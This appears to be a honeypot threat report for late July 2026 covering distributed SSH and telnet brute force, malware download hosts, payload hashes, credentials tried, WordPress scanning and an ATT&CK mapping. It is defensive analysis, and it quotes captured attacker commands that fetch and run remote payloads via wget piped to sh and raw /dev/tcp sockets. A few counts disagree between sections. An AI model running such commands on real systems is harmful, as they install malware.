HONEYPOT REPORT // SSH + TELNET + WEB // 2026-07-28 – 2026-07-31 // CLOSES JULY
2026-07-28 – 2026-07-31 — SSH, Telnet + Web Honeypot Report
SSH and telnet connection volume by day
Log filenames lag their contents by one day (UTC rollover); all figures here are keyed on record timestamps, not filenames.
Executive summary
With the July 25 outlier gone, this period is the more honest picture — and it inverts. Failed logins (11,727) now outnumber successes (5,353) better than two to one, the reverse of the previous period. Unique sources rose 38% to 1,197 while total sessions fell by half. More actors, each doing less: the signature of distributed brute force rather than a few loud hosts.
The clearest evidence is in the per-source counts. Eight separate addresses across 91.92.42.0/24, 45.156.87.0/24 and 77.239.124.0/24 each opened exactly 773 sessions. Identical counts across what look like unrelated netblocks is not coincidence; it is a scheduler dividing a target list into equal shares and handing each worker a quota. Reputation lookups then close the loop: every one of the 91.92.4x, 45.156.87.x and 45.153.34.x hosts is registered to a single Dutch provider, TechTies Inc., and the 77.239.124.x hosts to ROCKET & MARINICA at the same Dutch facility. Three netblocks, two companies, one operation. The same pattern appeared in the prior period at 762 sessions per host.
The most interesting single session came from 91.92.40.18, and it is a step above the commodity traffic. Before deploying anything it walks /proc/[0-9]*/maps looking for processes with no linked libraries — a check for other implants, or for the kind of statically-linked binary its own family drops. It then attempts payload retrieval through a fallback chain: wget -O, then wget -O- piped to shell, and finally a hex-encoded script that opens /dev/tcp/91.199.133.133/8080 directly and hand-writes an HTTP request. That last method needs neither wget nor curl to exist on the target.
The script also contains explanatory comments — # Method 1: wget with -O flag (most common) — which survived into the deployed version. Someone wrote this to be read by other people.
The mdrfckr key implant doubled to 1,461 executions, still writing the same a8460f44… file. A binary named sshd also appeared in the upload set for the first time, alongside the usual Redtail architecture spread.
On the web sensor, requests rose to 9,479 with a shift in character: systematic WordPress admin enumeration, with /wp-admin/index.php, profile.php, edit.php and plugins.php each hit exactly 84 times. The same even-quota fingerprint as the SSH traffic.
Notable sessions — SSH and telnet
protocol: telnet
write test: echo WRITABLE >/tmp/.testfile ; ls -l ; rm -f
recon: for pid in /proc/[0-9]*; do … case $line in */lib/*|*/lib64/*|*.so*) suspicious=false
method 1: wget hxxp://91.199.133.133:8080/deploy.sh -O /tmp/.ds && sh /tmp/.ds
method 2: wget hxxp://91.199.133.133:8080/deploy.sh -O- | sh
method 3: exec 3<>/dev/tcp/91.199.133.133/8080 ; GET /real_$ARCH HTTP/1.0
staging: hex-encoded via echo -ne into /tmp/.dl, then sh .dl
repeats: observed 3x from this host on 2026-07-28
sessions each: 773
client banner: SSH-2.0-libssh_0.9.6
assessment: central scheduler with per-worker quota; no single host exceeds the group
retrievals: 12
related: hxxp://51.75.118.165:20130/dl/loader.sh, hxxp://187.77.145.183:8081/payload.sh
sha256: a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
new upload: a binary named sshd, 7 observations
Notable sessions — web
hits each: 84
plus: /wp-login.php (91), /wp-admin/install.php?step=1 (50)
note: identical counts across distinct paths implies a fixed checklist per worker
count: 19
status returned: 400
note: scanner assuming HTTPS on the port; 588 total 400s this period
requests: 436
note: recorded deliberately; not all volume on a honeypot is an attack
Indicators
Payload hosts and URLs
Reputation figures are AbuseIPDB confidence scores with total report counts in parentheses. Read them against the source addresses further down.
| host | serves | refs | score | network |
|---|---|---|---|---|
| 171.244.44.251 | nerv.x86_64 — scanner and payload host are the same address | 204 | 92% (69) | VN · Viettel Group |
| 91.199.133.133 | deploy.sh :8080 — payload rotated mid-period | 80 | 100% (87) | MD · ALEXHOST SRL |
| 94.154.43.88 | ohshit.sh — HTTP with anonymous FTP fallback | 36 | 100% (277) | TR · Storm Industries LLC |
| 217.60.195.113 | Redtail telnet loader over HTTPS, cert validation disabled | 12 | 29% (7) | NL · SWISSNET LLC |
| 51.75.118.165 | BlahajNet.x86_64 and loader.sh on :20130 | 6 | 9% (1) | FR · OVH SAS |
| 5.182.210.61 | /ok shell script | 2 | 0% (1) | NL · SpectraIP B.V. |
| 187.77.145.183 | payload.sh :8081, piped straight to bash | 1 | 18% (3) | MY · Hostinger Operations UAB |
Payload hashes
Each hash links to VirusTotal rather than carrying a transcribed detection count, which would be stale within a month.
| sha256 | seen as | delivery | obs |
|---|---|---|---|
| 81760addaf68ddd3c15a24e180a2991f6fb4ab330a1650e0a363760cd0c36560 virustotal → 07-28 only |
deploy.sh — first build |
hxxp://91.199.133.133:8080/deploy.sh | 8 |
| e479462010c2514b9fa8513bbd3d515fe665d58d6514f7e78411131ff3090ed9 virustotal → 07-29 → 07-31 |
deploy.sh — second build |
hxxp://91.199.133.133:8080/deploy.sh | 32 |
| b5497b2c9b6a0ea89688e018306536652081b57a916dba389fcb287703c17d86 virustotal → 07-28 only |
ohshit.sh |
hxxp://94.154.43.88 · HTTP + anon FTP | 12 |
| b5147693ed4a8744cd3c32e2a2b8c6ec77acc6c8f0494b994398161a0ba009c5 virustotal → 07-28 → 07-31 |
/dev/tcp stage | 91.92.40.18 | 20 |
| 0dc95fb4077cce0bff19aa1a77109d059dff6503bbf6c1b0dd2f41fc0a4c88e7 virustotal → 07-28 → 07-31 |
/dev/tcp stage | 91.92.40.18 | 20 |
| 8a68d1c08ea31250063f70b1ccb5051db1f7ab6e17d46e9dd3cc292b9849878b virustotal → 07-28 → 07-30 |
Redtail staging archive | 130.12.180.51 (+2) | 7 |
81760add… and e4794620… were both served from hxxp://91.199.133.133:8080/deploy.sh, but they are different files. The first appears only on July 28; the second takes over from July 29 with no overlap. The operator replaced the payload mid-period. A URL-based indicator would have missed that — only hashing every retrieval catches it.Other captured artifacts
These were captured by the sensor and hashed alongside the payloads, but neither is a malware sample. Both are still usable indicators — the authorized_keys file is byte-identical across every mdrfckr instance, which makes it a reliable campaign signature. Expect low or zero detections on VirusTotal; that is the correct result for a text file and a newline, not a sign the lookup failed.
| sha256 | what it is | note | obs |
|---|---|---|---|
| a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 virustotal → 204 source IPs |
authorized_keys written by mdrfckr |
text file — a single attacker-controlled public key | 1,461 |
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b virustotal → 38 source IPs |
1-byte capture | sha256 of a single newline character | 50 |
Source addresses
Busiest sources on both sensors. Confidence tracks how often an address has been reported elsewhere, which is a measure of volume rather than of danger — compare these scores with the payload hosts above.
| source | sensor | count | score | reports | network |
|---|---|---|---|---|---|
| 45.156.87.254 | ssh/telnet | 1,043 | 100% | 3188 | NL · TechTies Inc. |
| 91.92.42.81 | ssh/telnet | 773 | 100% | 2249 | NL · TechTies Inc. |
| 91.92.42.7 | ssh/telnet | 773 | 100% | 2496 | NL · TechTies Inc. |
| 45.156.87.216 | ssh/telnet | 773 | 100% | 2577 | NL · TechTies Inc. |
| 91.92.42.36 | ssh/telnet | 773 | 100% | 3023 | NL · TechTies Inc. |
| 45.156.87.93 | ssh/telnet | 773 | 100% | 2456 | NL · TechTies Inc. |
| 77.239.124.250 | ssh/telnet | 773 | 100% | 1516 | NL · ROCKET & MARINICA LTD |
| 91.92.42.172 | ssh/telnet | 773 | 100% | 3590 | NL · TechTies Inc. |
| 140.82.15.183 | web | 519 | 100% | 54 | US · Vultr Holdings, LLC |
| 192.30.242.234 | web | 507 | 100% | 42 | US · Majestic Hosting Solutions, LLC |
| 207.148.28.169 | web | 506 | 100% | 56 | US · Vultr Holdings, LLC |
| 144.202.13.144 | web | 476 | 100% | 31 | US · Vultr Holdings, LLC |
| 149.28.58.172 | web | 460 | 100% | 49 | US · Vultr Holdings, LLC |
Attacker behaviour
Credentials attempted
| username | password | attempts |
|---|---|---|
root | 3245gs5662d34 | 1,414 |
345gs5662d34 | 345gs5662d34 | 1,404 |
root | <empty> | 256 |
root | admin | 171 |
admin | admin | 60 |
root | 111111 | 29 |
root | 1234 | 28 |
root | 123123 | 27 |
root | 12345 | 24 |
root | ------fuck------ | 22 |
root | 123 | 22 |
root | 123456 | 22 |
Client fingerprints
| fingerprint | type | sessions |
|---|---|---|
SSH-2.0-Go | version banner | 9,309 |
SSH-2.0-libssh_0.9.6 | version banner | 6,065 |
SSH-2.0-libssh_0.11.1 | version banner | 719 |
SSH-2.0-PuTTY_Release_0.84 | version banner | 237 |
| 0a07365cc01fa9fc82608ba4019af499 | HASSH | 7,969 |
| f555226df1963d1d3c09daf865abdc9a | HASSH | 5,978 |
| 03a80b21afa810682a776a7d42e5e6fb | HASSH | 643 |
Web paths requested
| request URI | hits |
|---|---|
/ | 1,246 |
<empty> | 425 |
/favicon.ico | 237 |
/login | 91 |
/wp-login.php | 91 |
/robots.txt | 84 |
/wp-admin/index.php | 84 |
/wp-admin/profile.php | 84 |
/wp-admin/edit.php | 84 |
/wp-admin/plugins.php | 84 |
/SDK/webLanguage | 82 |
/.env | 65 |
/sitemap.xml | 58 |
/wp-admin/install.php?step=1 | 50 |
Raw log excerpts
slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.connect") | .src_ip' cowrie.2026-07-2[7-9].json cowrie.2026-07-30.json | sort | uniq -c | sort -rn | head -8
1043 45.156.87.254
773 91.92.42.81
773 91.92.42.7
773 91.92.42.36
773 45.156.87.93
773 77.239.124.250
773 91.92.42.172
773 45.156.87.216
slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.file_download") | .url' cowrie.2026-07-2*.json | sort | uniq -c | sort -rn
204 hxxp://171.244.44.251:80/nerv.x86_64 (command only, not captured)
40 hxxp://91.199.133.133:8080/deploy.sh
12 hxxp://94.154.43.88/ohshit.sh
2 hxxp://51.75.118.165:20130/loader.sh
2 hxxp://51.75.118.165:20130/dl/BlahajNet.x86_64
1 hxxp://5.182.210.61/ok
1 hxxp://187.77.145.183:8081/payload.sh
MITRE ATT&CK mapping
| ID | technique | observed as |
|---|---|---|
| T1110.001 | Brute Force: Password Guessing | 17,080 attempts with failures outnumbering successes 2:1 — the inverse of the prior period |
| T1583.003 | Acquire Infrastructure: Virtual Private Server | 13 of the busiest sources registered to a single Dutch provider, TechTies Inc.; quotas of exactly 773 sessions per host |
| T1057 | Process Discovery | 91.92.40.18 walking /proc/[0-9]*/maps for processes with no linked libraries — checking for competing implants |
| T1105 | Ingress Tool Transfer | Three-method fallback: wget -O, then wget -O- | sh, then a raw /dev/tcp/91.199.133.133/8080 socket with a hand-written GET |
| T1132.001 | Data Encoding: Standard Encoding | Downloader staged as hex via echo -ne into /tmp/.dl before execution |
| T1571 | Non-Standard Port | Payloads served on :8080, :8081 and :20130; anonymous FTP used as a fallback channel for ohshit.sh |
| T1082 | System Information Discovery | Architecture resolved into the request path itself — GET /real_$ARCH |
| T1098.004 | Account Manipulation: SSH Authorized Keys | 1,461 mdrfckr executions, double the prior period, same a8460f44… file |
| T1036.005 | Masquerading: Match Legitimate Name or Location | A binary named sshd uploaded 14 times across three distinct hashes, never executed on-sensor |
| T1595.002 | Active Scanning: Vulnerability Scanning | WordPress admin enumeration with index.php, profile.php, edit.php and plugins.php each hit exactly 84 times |
| T1046 | Network Service Discovery | 19 requests whose method field begins \x16\x03\x01 — a TLS ClientHello aimed at the plaintext listener |